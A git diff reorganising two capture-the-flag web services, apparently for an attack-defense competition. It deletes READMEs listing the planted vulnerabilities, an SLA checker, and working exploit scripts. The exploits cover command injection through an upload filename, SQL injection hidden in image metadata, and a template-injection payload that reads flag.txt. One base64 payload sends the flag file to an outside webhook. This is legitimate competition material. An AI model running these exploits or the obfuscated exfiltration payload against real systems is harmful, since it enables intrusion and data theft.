diff --git a/services/blogpost/chall/Dockerfile b/services/blogpost/Dockerfile
similarity index 100%
rename from services/blogpost/chall/Dockerfile
rename to services/blogpost/Dockerfile
diff --git a/services/blogpost/README.md b/services/blogpost/README.md
deleted file mode 100644
index e73ccbc..0000000
--- a/services/blogpost/README.md
+++ /dev/null
@@ -1,15 +0,0 @@
-## Blogpost
-
-db used: sqlite
-flag.txt: GEMASTIK{random sha256 generated on app start}
-
-feature:
-[authentication required with login and register, register default as "user" role]
-1. search feature
-2. create, edit, visit post form that can upload images (png, jpg/jpeg, bmp) query the image metadata taken with exiftool to the sqlite database
-3. profile (if the account type is admin, render the content of flag.txt)
-
-vuln1: Command injection on exiftool (payload: exp1.py)
-vuln2: SQLi on image metadata to enable altering user account into admin account (payload: sqli.png, exp2.py)
-
-patching rules?:
\ No newline at end of file
diff --git a/services/blogpost/chall/app.py b/services/blogpost/app.py
similarity index 100%
rename from services/blogpost/chall/app.py
rename to services/blogpost/app.py
diff --git a/services/blogpost/chall/data/app.db b/services/blogpost/data/app.db
similarity index 100%
rename from services/blogpost/chall/data/app.db
rename to services/blogpost/data/app.db
diff --git a/services/blogpost/chall/data/flag.txt b/services/blogpost/data/flag.txt
similarity index 100%
rename from services/blogpost/chall/data/flag.txt
rename to services/blogpost/data/flag.txt
diff --git a/services/blogpost/dist/dist.rar b/services/blogpost/dist/dist.rar
deleted file mode 100644
index 17cdf2c..0000000
Binary files a/services/blogpost/dist/dist.rar and /dev/null differ
diff --git a/services/blogpost/chall/docker-compose.yml b/services/blogpost/docker-compose.yml
similarity index 100%
rename from services/blogpost/chall/docker-compose.yml
rename to services/blogpost/docker-compose.yml
diff --git a/services/blogpost/chall/entrypoint.sh b/services/blogpost/entrypoint.sh
similarity index 100%
rename from services/blogpost/chall/entrypoint.sh
rename to services/blogpost/entrypoint.sh
diff --git a/services/blogpost/exploits/exp1.py b/services/blogpost/exploits/exp1.py
deleted file mode 100644
index 3ec8605..0000000
--- a/services/blogpost/exploits/exp1.py
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/usr/bin/env python3
-import requests
-from pathlib import Path
-import random
-import string
-
-HOST = "http://localhost:4413"
-REGISTER_URL = HOST + "/register"
-LOGIN_URL = HOST + "/login"
-CREATE_URL = HOST + "/create"
-HOME_URL = HOST + "/"
-PROFILE_URL = HOST + "/profile"
-
-LOCAL_IMAGE = "test.png" # a valid image file on your machine
-# Generate random username and password
-def generate_random_string(length=8):
-    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
-
-USERNAME = generate_random_string()
-PASSWORD = generate_random_string()
-# choose payload variant: either use subshell $() or backticks `...`
-filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg"
-
-# choose which to use:
-filename_payload = filename_payload  # or payload_backticks
-
-s = requests.Session()
-
-r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
-if r.status_code != 200:
-    print("Registration failed. Status:", r.status_code)
-    # print("Response:", r.text[:400])
-    exit(1)
-else:
-    print(f"Registered user: {USERNAME}")
-
-r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
-if r.status_code != 200:
-    print("Login request status:", r.status_code)
-    print("Response:", r.text[:400])
-else:
-    print("Login attempted. Cookies:", s.cookies.get_dict())
-
-# 2) upload file with crafted filename in multipart
-img_path = Path(LOCAL_IMAGE)
-if not img_path.exists():
-    raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
-
-with open(img_path, "rb") as fh:
-    # requests allows sending a custom filename (first item in tuple)
-    files = {
-        "image": (filename_payload, fh, "image/jpeg")
-    }
-    data = {"title": "tes payload python3 base64 cat to curl", "content": "ctf"}
-    r = s.post(CREATE_URL, data=data, files=files)
-    print("Upload response:", r.status_code)
-    # optionally print a bit of response to see if anything obvious happened
-    print(r.text[:800])
-
-# 3) fetch profile to see if you are admin and flag is shown
-r = s.get(PROFILE_URL)
-print("Profile status:", r.status_code)
-print(r.text[:1200])
diff --git a/services/blogpost/exploits/exp2.py b/services/blogpost/exploits/exp2.py
deleted file mode 100644
index ddfa362..0000000
--- a/services/blogpost/exploits/exp2.py
+++ /dev/null
@@ -1,95 +0,0 @@
-import requests
-import random
-import string
-import re
-import subprocess
-from pathlib import Path
-
-print("SQLi (VULN 2) Exploit")
-
-HOST = "http://localhost:4413"
-REGISTER_URL = HOST + "/register"
-LOGIN_URL = HOST + "/login"
-CREATE_URL = HOST + "/create"
-HOME_URL = HOST + "/"
-PROFILE_URL = HOST + "/profile"
-
-# Generate random username and password
-def generate_random_string(length=8):
-    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
-
-USERNAME = generate_random_string()
-PASSWORD = generate_random_string()
-LOCAL_IMAGE = "sqli.png"  # Image to be modified with SQLi payload
-
-# 1) Modify the image with exiftool to embed SQLi payload
-sqli_payload = f"a'; UPDATE users SET role='admin' WHERE username='{USERNAME}';--"
-try:
-    subprocess.run([
-        "exiftool",
-        "-overwrite_original",
-        f"-Comment={sqli_payload}",
-        LOCAL_IMAGE
-    ], check=True)
-    print(f"Modified {LOCAL_IMAGE} with SQLi payload in Comment metadata")
-except subprocess.CalledProcessError as e:
-    print(f"Failed to modify image with exiftool: {e}")
-    exit(1)
-
-s = requests.Session()
-
-# 2) Register a new user
-r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
-if r.status_code != 200:
-    print("Registration failed. Status:", r.status_code)
-    # print("Response:", r.text[:400])
-    exit(1)
-else:
-    print(f"Registered user: {USERNAME}")
-
-# 3) Login with the new user
-r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
-if r.status_code != 200:
-    print("Login failed. Status:", r.status_code)
-    # print("Response:", r.text[:400])
-    exit(1)
-else:
-    print("Logged in successfully. Cookies:", s.cookies.get_dict())
-
-# 4) Upload the modified sqli.png image when creating a post
-img_path = Path(LOCAL_IMAGE)
-if not img_path.exists():
-    raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
-
-with open(img_path, "rb") as fh:
-    files = {
-        "image": (LOCAL_IMAGE, fh, "image/png")
-    }
-    data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
-    r = s.post(CREATE_URL, data=data, files=files)
-    print("Upload response status:", r.status_code)
-    # print("Upload response:", r.text[:800])
-
-# 5) Get the home page to find the newest post ID
-r = s.get(HOME_URL)
-print("Home page status:", r.status_code)
-
-# Extract post IDs using regex
-post_ids = re.findall(r'/post/(\d+)', r.text)
-if post_ids:
-    max_id = max(map(int, post_ids))
-    print(f"Newest post ID: {max_id}")
-else:
-    print("No post IDs found on home page.")
-    exit(1)
-
-# 6) Visit the profile page and search for the flag
-r = s.get(PROFILE_URL)
-print("Profile page status:", r.status_code)
-flag_pattern = r"GEMASTIK\{.*?\}"
-flag = re.search(flag_pattern, r.text)
-if flag:
-    print("Flag found:", flag.group(0))
-else:
-    print("Flag not found in response.")
-    # print("Response snippet:", r.text[:1200])
\ No newline at end of file
diff --git a/services/blogpost/exploits/sqli.png b/services/blogpost/exploits/sqli.png
deleted file mode 100644
index c41aa35..0000000
Binary files a/services/blogpost/exploits/sqli.png and /dev/null differ
diff --git a/services/blogpost/exploits/test.png b/services/blogpost/exploits/test.png
deleted file mode 100644
index 6efa28f..0000000
Binary files a/services/blogpost/exploits/test.png and /dev/null differ
diff --git a/services/blogpost/chall/init_db.sql b/services/blogpost/init_db.sql
similarity index 100%
rename from services/blogpost/chall/init_db.sql
rename to services/blogpost/init_db.sql
diff --git a/services/blogpost/chall/requirements.txt b/services/blogpost/requirements.txt
similarity index 100%
rename from services/blogpost/chall/requirements.txt
rename to services/blogpost/requirements.txt
diff --git a/services/blogpost/sla.py b/services/blogpost/sla.py
deleted file mode 100644
index 64e90f2..0000000
--- a/services/blogpost/sla.py
+++ /dev/null
@@ -1,250 +0,0 @@
-import io
-import re
-import time
-import json
-import base64
-import random
-import string
-import logging
-import subprocess
-from typing import Optional
-
-import requests
-from PIL import Image  # pillow for tiny PNG generation
-
-from .Challenge import Challenge
-
-
-class WebAppSLA(Challenge):
-    """
-    SLA checker for the provided Flask challenge app.
-
-    Assumptions / Defaults (override as needed):
-      - Service listens on self.port (inherited)
-      - Container name is 'chal_app' (override via self.container_name)
-      - Flag lives in '/app/flag.txt' inside container
-      - Login flow at /login, register at /register
-      - Create post at /create, view post at /post/<id>, uploads at /uploads/<file>
-    """
-    flag_location = 'flags/webapp.txt'           # Host copy (used by your orchestrator)
-    history_location = 'history/webapp.txt'
-    container_flag_path = '/app/flag.txt'
-    container_name = 'chal_app'                  # <-- set to your actual container name
-
-    # Heuristics to recognize ExifTool output
-    _exif_markers = (
-        'ExifTool Version Number',
-        'File Name',
-        'File Size',
-        'MIME Type',
-        'File Type',
-    )
-
-    def _make_logger(self):
-        if not hasattr(self, 'logger') or self.logger is None:
-            self.logger = logging.getLogger(self.__class__.__name__)
-            if not self.logger.handlers:
-                h = logging.StreamHandler()
-                h.setFormatter(logging.Formatter('[%(levelname)s] %(message)s'))
-                self.logger.addHandler(h)
-                self.logger.setLevel(logging.INFO)
-
-    # --- Flag distribution hook (optional, mirrors your example) ---
-    def distribute(self, flag: str) -> bool:
-        """
-        Writes/records the current flag on the host. Your infra may separately
-        mount/copy it into the container; this class *also* verifies existence
-        inside the container during .check().
-        """
-        self._make_logger()
-        try:
-            with open(self.flag_location, 'w') as f:
-                f.write(flag)
-            with open(self.history_location, 'a') as f:
-                f.write(flag + '\n')
-            self.logger.info(f"Flag '{flag}' written to {self.flag_location}")
-            return True
-        except Exception as e:
-            self.logger.error(f"Failed writing host flag: {e}")
-            return False
-
-    # --- Helpers ---
-    def _gen_username(self) -> str:
-        return "user_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
-
-    def _gen_password(self) -> str:
-        return "Pw!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10))
-
-    def _tiny_png_bytes(self) -> bytes:
-        """
-        Generate a minimal valid PNG in-memory to trigger exiftool.
-        """
-        img = Image.new("RGB", (2, 2), (123, 200, 50))
-        buf = io.BytesIO()
-        img.save(buf, format="PNG")
-        return buf.getvalue()
-
-    def _docker_exec(self, args: list[str], timeout: int = 10) -> subprocess.CompletedProcess:
-        """
-        Run `docker exec` into the challenge container.
-        """
-        return subprocess.run(
-            ["docker", "exec", self.container_name] + args,
-            capture_output=True,
-            text=True,
-            timeout=timeout
-        )
-
-    # --- SLA core ---
-    def check(self) -> bool:
-        self._make_logger()
-        base_url = f"http://localhost:{self.port}"
-        s = requests.Session()
-
-        # 0) Liveness: login page should be reachable (no auth needed)
-        login_url = base_url + "/login"
-        self.logger.info(f"[1/7] Checking liveness at {login_url} ...")
-        try:
-            r = s.get(login_url, timeout=10)
-            assert r.status_code == 200, f"Login page HTTP {r.status_code}"
-            self.logger.info("    ✓ Login page reachable")
-        except Exception as e:
-            self.logger.error(f"    ✗ Liveness check failed: {e}")
-            return False
-
-        # 1) Register a fresh user
-        self.logger.info("[2/7] Registering a fresh user ...")
-        username = self._gen_username()
-        password = self._gen_password()
-        try:
-            r = s.post(
-                base_url + "/register",
-                data={"username": username, "password": password},
-                allow_redirects=False,
-                timeout=10,
-            )
-            # Flask typically redirects to /login on success (302)
-            assert r.status_code in (200, 302, 303), f"Register HTTP {r.status_code}"
-            self.logger.info(f"    ✓ Registered as {username}")
-        except Exception as e:
-            self.logger.error(f"    ✗ Registration failed: {e}")
-            return False
-
-        # 2) Log in
-        self.logger.info("[3/7] Logging in ...")
-        try:
-            r = s.post(
-                base_url + "/login",
-                data={"username": username, "password": password},
-                allow_redirects=True,
-                timeout=10,
-            )
-            # Successful login should redirect or render index; ensure not bounced back to /login with "Invalid credentials"
-            assert r.status_code == 200, f"Login HTTP {r.status_code}"
-            assert "/login" not in r.url or "Invalid credentials" not in r.text
-            self.logger.info("    ✓ Logged in")
-        except Exception as e:
-            self.logger.error(f"    ✗ Login failed: {e}")
-            return False
-
-        # 3) Create post with image upload (PNG) to trigger exiftool + DB write
-        self.logger.info("[4/7] Creating a post with image upload ...")
-        title = "SLA Post " + ''.join(random.choices(string.ascii_letters, k=6))
-        content = "hello_from_sla_checker"
-        png_bytes = self._tiny_png_bytes()
-        files = {
-            "image": ("probe.png", png_bytes, "image/png")
-        }
-        data = {"title": title, "content": content}
-        try:
-            r = s.post(base_url + "/create", files=files, data=data, allow_redirects=True, timeout=20)
-            assert r.status_code == 200, f"Create returned HTTP {r.status_code}"
-            self.logger.info("    ✓ Post created")
-        except Exception as e:
-            self.logger.error(f"    ✗ Create post failed: {e}")
-            return False
-
-        # 4) Discover the newly created post id by scraping links like /post/<id> from index
-        self.logger.info("[5/7] Resolving new post id from index ...")
-        try:
-            r = s.get(base_url + "/", timeout=10)
-            assert r.status_code == 200, f"Index HTTP {r.status_code}"
-            # Find the most recent /post/<id> that likely corresponds to our post title
-            # First try to find blocks containing our title then pull an id:
-            post_id: Optional[int] = None
-            # Prefer links sitting near our title
-            title_blocks = [m.start() for m in re.finditer(re.escape(title), r.text)]
-            if title_blocks:
-                # Search backward/forward around the title occurrences for a /post/<num> link
-                for pos in title_blocks:
-                    window = r.text[max(0, pos-1000):pos+1000]
-                    m = re.search(r'/post/(\d+)', window)
-                    if m:
-                        post_id = int(m.group(1))
-                        break
-            # Fallback: pick the first /post/<id> in the page
-            if post_id is None:
-                m = re.search(r'/post/(\d+)', r.text)
-                assert m, "No /post/<id> link found on index"
-                post_id = int(m.group(1))
-
-            self.logger.info(f"    ✓ Resolved post id = {post_id}")
-        except Exception as e:
-            self.logger.error(f"    ✗ Could not resolve post id: {e}")
-            return False
-
-        # 5) Visit the post page, confirm it renders and contains our title/content.
-        self.logger.info("[6/7] Visiting the post page ...")
-        try:
-            vp = s.get(base_url + f"/post/{post_id}", timeout=10)
-            assert vp.status_code == 200, f"Post page HTTP {vp.status_code}"
-            assert title in vp.text, "Post title not present on view page"
-            assert content in vp.text, "Post content not present on view page"
-            self.logger.info("    ✓ Post page renders with our content")
-        except Exception as e:
-            self.logger.error(f"    ✗ View post failed: {e}")
-            return False
-
-        # 6) Locate the uploaded file link on the post page, then fetch the .meta file via /uploads/<file>.meta
-        self.logger.info("[7/7] Verifying ExifTool metadata persisted & accessible ...")
-        try:
-            # Find something like /uploads/<sha256>.png (or .jpg/.jpeg/.bmp)
-            m = re.search(r'/uploads/([A-Za-z0-9_.-]+\.(?:png|jpg|jpeg|bmp))', vp.text, flags=re.IGNORECASE)
-            assert m, "No uploaded image link found on post page"
-            image_name = m.group(1)
-            # The server stores metadata in a sibling file with .meta suffix; it is served by the same /uploads route.
-            meta_url = base_url + f"/uploads/{image_name}.meta"
-            mr = s.get(meta_url, timeout=10)
-            assert mr.status_code == 200, f"Meta file HTTP {mr.status_code}"
-            meta_text = mr.text.strip()
-            # Heuristic: expect at least one ExifTool-like marker
-            assert any(tag in meta_text for tag in self._exif_markers), "Meta file does not look like ExifTool output"
-            self.logger.info("    ✓ Exif metadata present and readable")
-        except Exception as e:
-            self.logger.error(f"    ✗ Metadata verification failed: {e}")
-            return False
-
-        # 7) Flag existence in container (do not fail SLA if only host copy exists but container is missing—treat as warning or policy-driven)
-        try:
-            proc = self._docker_exec(["/bin/sh", "-lc", f"test -f {self.container_flag_path} && cat {self.container_flag_path} || echo __MISSING__"])
-            out = (proc.stdout or "").strip()
-            if "__MISSING__" in out or proc.returncode not in (0,):
-                self.logger.warning("⚠ Flag file missing inside container")
-            else:
-                self.logger.info("    ✓ Container flag present")
-                # Optional: compare with host flag if present
-                try:
-                    with open(self.flag_location, "r") as f:
-                        host_flag = f.read().strip()
-                    if host_flag and host_flag == out:
-                        self.logger.info("    ✓ Host and container flags match")
-                    else:
-                        self.logger.warning("⚠ Host/container flag mismatch (may be expected if rotated separately)")
-                except FileNotFoundError:
-                    self.logger.warning("⚠ Host flag not found; skipping comparison")
-        except Exception as e:
-            # Non-fatal: you can tune this to fail the round if flag is mandatory.
-            self.logger.warning(f"Flag existence check encountered an issue: {e}")
-
-        self.logger.info("SLA check passed ✅")
-        return True
diff --git a/services/blogpost/chall/static/style.css b/services/blogpost/static/style.css
similarity index 100%
rename from services/blogpost/chall/static/style.css
rename to services/blogpost/static/style.css
diff --git a/services/blogpost/chall/templates/create_post.html b/services/blogpost/templates/create_post.html
similarity index 100%
rename from services/blogpost/chall/templates/create_post.html
rename to services/blogpost/templates/create_post.html
diff --git a/services/blogpost/chall/templates/index.html b/services/blogpost/templates/index.html
similarity index 100%
rename from services/blogpost/chall/templates/index.html
rename to services/blogpost/templates/index.html
diff --git a/services/blogpost/chall/templates/layout.html b/services/blogpost/templates/layout.html
similarity index 100%
rename from services/blogpost/chall/templates/layout.html
rename to services/blogpost/templates/layout.html
diff --git a/services/blogpost/chall/templates/login.html b/services/blogpost/templates/login.html
similarity index 100%
rename from services/blogpost/chall/templates/login.html
rename to services/blogpost/templates/login.html
diff --git a/services/blogpost/chall/templates/profile.html b/services/blogpost/templates/profile.html
similarity index 100%
rename from services/blogpost/chall/templates/profile.html
rename to services/blogpost/templates/profile.html
diff --git a/services/blogpost/chall/templates/register.html b/services/blogpost/templates/register.html
similarity index 100%
rename from services/blogpost/chall/templates/register.html
rename to services/blogpost/templates/register.html
diff --git a/services/blogpost/chall/templates/view_post.html b/services/blogpost/templates/view_post.html
similarity index 100%
rename from services/blogpost/chall/templates/view_post.html
rename to services/blogpost/templates/view_post.html
diff --git a/services/cdn/chall/Dockerfile b/services/cdn/Dockerfile
similarity index 100%
rename from services/cdn/chall/Dockerfile
rename to services/cdn/Dockerfile
diff --git a/services/cdn/README.md b/services/cdn/README.md
deleted file mode 100644
index 8c38903..0000000
--- a/services/cdn/README.md
+++ /dev/null
@@ -1,30 +0,0 @@
-## CDN
-
-db used: sqlite
-flag.txt: GEMASTIK{random sha256 generated on app start}
-
-### feature:
-[authentication required with login and register, register default as "user" role]
-1. upload image
-
-### Vulns
-#### vuln1: SSTI on image Date Created metadata, exiftool cant insert this, need to write the image's blob
-example: 
-```bash
-(base) jons@01-20-jonathanmarbun:/mnt/c/1Jonathan/CTFS/gawe/gms25/web2/exploit$ exiftool -overwrite_original -IPTC:DateCreated="{{7*7}}" image.png
-Warning: Invalid date format (use YYYY:mm:dd) in IPTC:DateCreated (ValueConvInv)
-Nothing to do.
-```
-payload to inject:
-```{{lipsum.__builtins__['open']('flag.txt').read()}}```
-
-when editing the Date Created metadata manually, somehow it has limit of 46 char (but we can expand that to make it more by deleting the content of another metadata) -> check ssti.png
-it probably have different behavior on another image file or format
-payload: check exploit/exp3.py
-
-#### vuln2: 
-
-### Patching Rule?
-- dont remove flag.txt/changes its content
-- ensure image metadata generation still available
-- ensure exiftool still used
\ No newline at end of file
diff --git a/services/cdn/chall/app.py b/services/cdn/app.py
similarity index 100%
rename from services/cdn/chall/app.py
rename to services/cdn/app.py
diff --git a/services/cdn/dist/dist.rar b/services/cdn/dist/dist.rar
deleted file mode 100644
index 749be0a..0000000
Binary files a/services/cdn/dist/dist.rar and /dev/null differ
diff --git a/services/cdn/chall/docker-compose.yml b/services/cdn/docker-compose.yml
similarity index 100%
rename from services/cdn/chall/docker-compose.yml
rename to services/cdn/docker-compose.yml
diff --git a/services/cdn/chall/entrypoint.sh b/services/cdn/entrypoint.sh
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rename from services/cdn/chall/entrypoint.sh
rename to services/cdn/entrypoint.sh
diff --git a/services/cdn/exploit/exp1.py b/services/cdn/exploit/exp1.py
deleted file mode 100644
index f7e9b6f..0000000
--- a/services/cdn/exploit/exp1.py
+++ /dev/null
@@ -1,91 +0,0 @@
-import os
-import re
-import random
-import string
-from pathlib import Path
-import requests
-
-print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
-
-HOST = "http://localhost:4414"
-REGISTER_URL = f"{HOST}/register"
-LOGIN_URL    = f"{HOST}/login"
-UPLOAD_URL   = f"{HOST}/upload"
-HOME_URL     = f"{HOST}/"
-
-TIMEOUT = float(os.environ.get("TIMEOUT", "1"))  # detik
-
-def rnd(n=8):
-    alpha = string.ascii_lowercase + string.digits
-    return ''.join(random.choices(alpha, k=n))
-
-USERNAME = rnd()
-PASSWORD = rnd()
-LOCAL_IMAGE = os.environ.get("IMG", "ssti.png")  # PNG dengan payload Jinja di metadata
-
-s = requests.Session()
-s.headers.update({"User-Agent": "ssti-exp/1.0"})
-
-def ok_or_redirect(resp):
-    return 200 <= resp.status_code < 400
-
-# 1) Register (allow redirects)
-r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
-           allow_redirects=True, timeout=TIMEOUT)
-print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
-if not ok_or_redirect(r):
-    print("[x] Registration failed")
-    raise SystemExit(1)
-print(f"[+] Registered: {USERNAME}:{PASSWORD}")
-
-# 2) Login (allow redirects)
-r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
-           allow_redirects=True, timeout=TIMEOUT)
-print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
-if not ok_or_redirect(r):
-    print("[x] Login failed")
-    raise SystemExit(1)
-print("[+] Logged in")
-
-# 3) Upload image (title + image)
-img_path = Path(LOCAL_IMAGE)
-if not img_path.exists():
-    raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}")
-
-with img_path.open("rb") as fh:
-    files = {"image": (img_path.name, fh, "image/png")}
-    data = {"title": "SSTI Exploit"}
-    r = s.post(UPLOAD_URL, data=data, files=files,
-               allow_redirects=True, timeout=TIMEOUT)
-    print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
-    if not ok_or_redirect(r):
-        print("[x] Upload failed")
-        raise SystemExit(1)
-print("[+] Upload complete")
-
-# 4) Home → cari post id terbaru
-r = s.get(HOME_URL, timeout=TIMEOUT)
-print(f"[i] Home -> {r.status_code}")
-if r.status_code != 200:
-    print("[x] Failed to load home")
-    raise SystemExit(1)
-
-post_ids = re.findall(r'/post/(\d+)', r.text)
-if not post_ids:
-    print("[-] No posts found on home.")
-    # print(r.text[:800])
-    raise SystemExit(1)
-
-pid = max(map(int, post_ids))
-post_url = f"{HOST}/post/{pid}"
-print(f"[+] Newest post: {post_url}")
-
-# 5) Trigger SSTI dan cari flag
-r = s.get(post_url, timeout=TIMEOUT)
-print(f"[i] Post -> {r.status_code}")
-m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
-if m:
-    print("[+] Flag:", m.group(0))
-else:
-    print("[-] Flag not found in response.")
-    print(r.text[:1200])
diff --git a/services/cdn/exploit/ssti.png b/services/cdn/exploit/ssti.png
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index 13277a3..0000000
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diff --git a/services/cdn/exploit/ssti2.png b/services/cdn/exploit/ssti2.png
deleted file mode 100644
index 13277a3..0000000
Binary files a/services/cdn/exploit/ssti2.png and /dev/null differ
diff --git a/services/cdn/chall/flag_seed.py b/services/cdn/flag_seed.py
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rename from services/cdn/chall/flag_seed.py
rename to services/cdn/flag_seed.py
diff --git a/services/cdn/chall/requirements.txt b/services/cdn/requirements.txt
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rename from services/cdn/chall/requirements.txt
rename to services/cdn/requirements.txt
diff --git a/services/cdn/chall/static/style.css b/services/cdn/static/style.css
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rename from services/cdn/chall/static/style.css
rename to services/cdn/static/style.css
diff --git a/services/cdn/chall/templates/base.html b/services/cdn/templates/base.html
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rename from services/cdn/chall/templates/base.html
rename to services/cdn/templates/base.html
diff --git a/services/cdn/chall/templates/gallery.html b/services/cdn/templates/gallery.html
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rename from services/cdn/chall/templates/gallery.html
rename to services/cdn/templates/gallery.html
diff --git a/services/cdn/chall/templates/login.html b/services/cdn/templates/login.html
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rename from services/cdn/chall/templates/login.html
rename to services/cdn/templates/login.html
diff --git a/services/cdn/chall/templates/register.html b/services/cdn/templates/register.html
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rename from services/cdn/chall/templates/register.html
rename to services/cdn/templates/register.html
diff --git a/services/cdn/chall/templates/upload.html b/services/cdn/templates/upload.html
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rename from services/cdn/chall/templates/upload.html
rename to services/cdn/templates/upload.html
diff --git a/services/cdn/chall/templates/view_post.html b/services/cdn/templates/view_post.html
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rename from services/cdn/chall/templates/view_post.html
rename to services/cdn/templates/view_post.html
diff --git a/services/cdn/chall/uploads/2c3f796bc1405f8ec42784088d7324dc1409f745ee41b7acf745ff2a9c1b55dc.png b/services/cdn/uploads/2c3f796bc1405f8ec42784088d7324dc1409f745ee41b7acf745ff2a9c1b55dc.png
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rename from services/cdn/chall/uploads/2c3f796bc1405f8ec42784088d7324dc1409f745ee41b7acf745ff2a9c1b55dc.png
rename to services/cdn/uploads/2c3f796bc1405f8ec42784088d7324dc1409f745ee41b7acf745ff2a9c1b55dc.png
diff --git a/services/cdn/chall/uploads/46ce52a0780252a01e1480d2cbf04248d4f01ff3821b7eb0737108fe99c07f18.png b/services/cdn/uploads/46ce52a0780252a01e1480d2cbf04248d4f01ff3821b7eb0737108fe99c07f18.png
similarity index 100%
rename from services/cdn/chall/uploads/46ce52a0780252a01e1480d2cbf04248d4f01ff3821b7eb0737108fe99c07f18.png
rename to services/cdn/uploads/46ce52a0780252a01e1480d2cbf04248d4f01ff3821b7eb0737108fe99c07f18.png
diff --git a/services/cdn/chall/uploads/6168295d811e738862fad5c0e7aa7306f7364034b5cc77c17a017aff63164b04.png b/services/cdn/uploads/6168295d811e738862fad5c0e7aa7306f7364034b5cc77c17a017aff63164b04.png
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rename from services/cdn/chall/uploads/6168295d811e738862fad5c0e7aa7306f7364034b5cc77c17a017aff63164b04.png
rename to services/cdn/uploads/6168295d811e738862fad5c0e7aa7306f7364034b5cc77c17a017aff63164b04.png
diff --git a/services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.jpg b/services/cdn/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.jpg
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rename from services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.jpg
rename to services/cdn/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.jpg
diff --git a/services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.png b/services/cdn/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.png
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rename from services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.png
rename to services/cdn/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.png
diff --git a/services/cdn/chall/uploads/c7339bc5e7968ef9d2d7e72b235e72995ee3363da422a1fe67bf7a195a32ebb0.png b/services/cdn/uploads/c7339bc5e7968ef9d2d7e72b235e72995ee3363da422a1fe67bf7a195a32ebb0.png
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rename from services/cdn/chall/uploads/c7339bc5e7968ef9d2d7e72b235e72995ee3363da422a1fe67bf7a195a32ebb0.png
rename to services/cdn/uploads/c7339bc5e7968ef9d2d7e72b235e72995ee3363da422a1fe67bf7a195a32ebb0.png